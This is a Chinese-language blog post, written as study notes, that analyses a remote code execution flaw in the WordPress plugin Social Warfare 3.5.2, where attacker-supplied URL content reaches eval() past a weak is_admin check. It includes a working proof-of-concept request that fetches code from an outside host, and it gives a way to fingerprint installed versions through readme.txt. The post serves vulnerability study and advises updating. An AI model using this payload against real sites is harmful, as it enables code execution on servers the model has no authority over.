Nuke Blog

    观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。舍利子,色不异空,空不异色,色即是空,空即是色,受想行识亦复如是。舍利子,是诸法空相,不生不灭,不垢不净,不增不减。是故空中无色,无受想行识,无眼耳鼻舌身意,无色声香味触法,无眼界乃至无意识界,无无明亦无无明尽,乃至无老死,亦无老死尽,无苦集灭道,无智亦无得。以无所得故,菩提萨埵,依般若波罗蜜多故,心无挂碍;无挂碍故,无有恐怖,远离颠倒梦想,究竟涅槃。三世诸佛,依般若波罗蜜多故,得阿耨多罗三藐三菩提。故知般若波罗蜜多,是大神咒,是大明咒,是无上咒,是无等等咒,能除一切苦,真实不虚。故说般若波罗蜜多咒,即说咒曰:揭谛揭谛,波罗揭谛,波罗僧揭谛,菩提萨婆诃。

MENU

有意思的Wrodpress-Social Warfare插件漏洞

记录一个有意思的wordpress插件漏洞,作为学习笔记保留。

WordPress是一个非常流行的PHP版本blog系统,本次漏洞出现在常用的分享插件Social Warfare中,该插件运行对网站运行速度影响较小,因此广受欢迎,境外网站使用率较高。

漏洞版本Social Warfare 3.5.2

目前官方已经发布最新版本3.6,请及时更新。

漏洞产生流程:

触发点1:

在Social Warfare 3.5.2版本的  /lib/utilities/SWP_Database_Migration.php文件中,代码196-207行。

有意思的Wrodpress-Social Warfare插件漏洞  第1张

代码中的debug_parameters方法使用了get_user_options模块。

这个模块是用来调用插件自身 SWP_Database_Migration.php 文件的 initialize_database方法,将其中的$defaults数组调出,显示配置信息。

那直接通过payload:index.php?swp_debug=get_user_options来执行的话,浏览器会返回该插件的配置信息 。


触发点2:

而漏洞关键点出现在SWP_Database_Migration.php代码的226行,也就是load_options模块(该模块是用于调试迁移数据库使用):

有意思的Wrodpress-Social Warfare插件漏洞  第2张

先来看下这段代码的流程

代码231行,直接使用了file_get_contents方法发送读取请求,但是其中的$_GET['swp_url'未作任何限制,导致swp_url是我们可控的地址。

代码238行至247行,对提交的<pre>至</pre>的内容进行拼接,赋值给变量$array,在247行中将变量直接带入eval中执行。

我们可控的url内容被带入eval执行,漏洞产生。

但是这里有个问题,在代码初始阶段,load_options模块先使用了is_admin方法进行了权限验证。


触发点3:

既然做了权限验证,是否我们就无法直接使用这个漏洞了呢?那在来看is_admin是如何来进行验证的。

wpblog中的wp-includes/load.php文件内is_admin方法的代码片段

有意思的Wrodpress-Social Warfare插件漏洞  第3张

从代码可以看出,is_admin方法只是对当前常量WP_ADMIN进行判断,判断其是否为true,如果此时运行的常量WP_AMDIN是true则会通过。

而在WP中,常量WP_ADMIN是用来判断是否为后台文件使用,而大多数后台文件中通常都会将WP_ADMIN定义为true,这种校验方法,并不能判断当前访问这是否是admin。

那么如果我们的入口是后台文件,满足WP_ADMIN为真,因此这个漏洞的运行环境也产生了。


我们来理一理整个漏洞流程:

1、/lib/utilities/SWP_Database_Migration.php文件中,debug_parameters方法使用了get_user_options模块。

2、get_user_options模块的使用,可以通过直接访问来显示initialize_database方法中的$defaults数组信息。

前两点作为铺垫。

3、SWP_Database_Migration.php文件中,漏洞代码段226行,使用了模块load_options,这个模块中使用file_get_contents方法读取文件。

4、而file_get_contents却未作任何限制,读取的$_GET['swp_url'内容,却是我们可控的地址。

5、代码238行开始,读取值中<pre>标签内容进行拼接,赋值给变量$array后,直接带入eval()中执行,到这里漏洞出现。

5、同时问题也出现了,因为代码的226行,用了is_admin对权限进行校验。

6、通过分析is_amdin方法,发现仅仅是判断常量WP_ADMIN是否为真,而WP的后台文件中都会把常量WP_ADMIN定义为真。

7、如果我们构造的入口是定义WP_ADMIN为真的后台文件,就可以满足这个校验,让程序运行下去,从而漏洞产生的所有问题都解决了。


漏洞使用:

1、首先本地搭建WordPress环境,安装Social Warfare 3.5.2版本插件。

2、本地构造一段恶意php代码,并放在服务器内,我这里使用phphifo()演示。

<pre>phpinfo()</pre>

3、直接构造payload:

POC: http://127.0.0.1/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://nukeblog.cn/text.php

有意思的Wrodpress-Social Warfare插件漏洞  第4张


刚知道这个漏洞时,觉得很普通,但是看了很多关于该漏洞的分析文章,插件的漏洞和主站的逻辑环环相扣,还是蛮有意思的。写一篇博文记录一下。


* 虽然官方已经进行插件升级,删除由于WrodPress不支持插件自动更新,如果使用了这个插件的用户,不经常维护自己的blog更新插件版本,会导致漏洞被利用。

* 可以通过访问目标的wp-content/plugins/social-warfare/readme.txt目录文件判断是否安装Social Warfare 插件,并能获取版本信息。


觉得文字有用,请点击下方打赏按钮,扫描二维码打赏作者。

打赏

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

© 苏ICP备19024584号
Powered by Z-BlogPHP & Yiwuku.com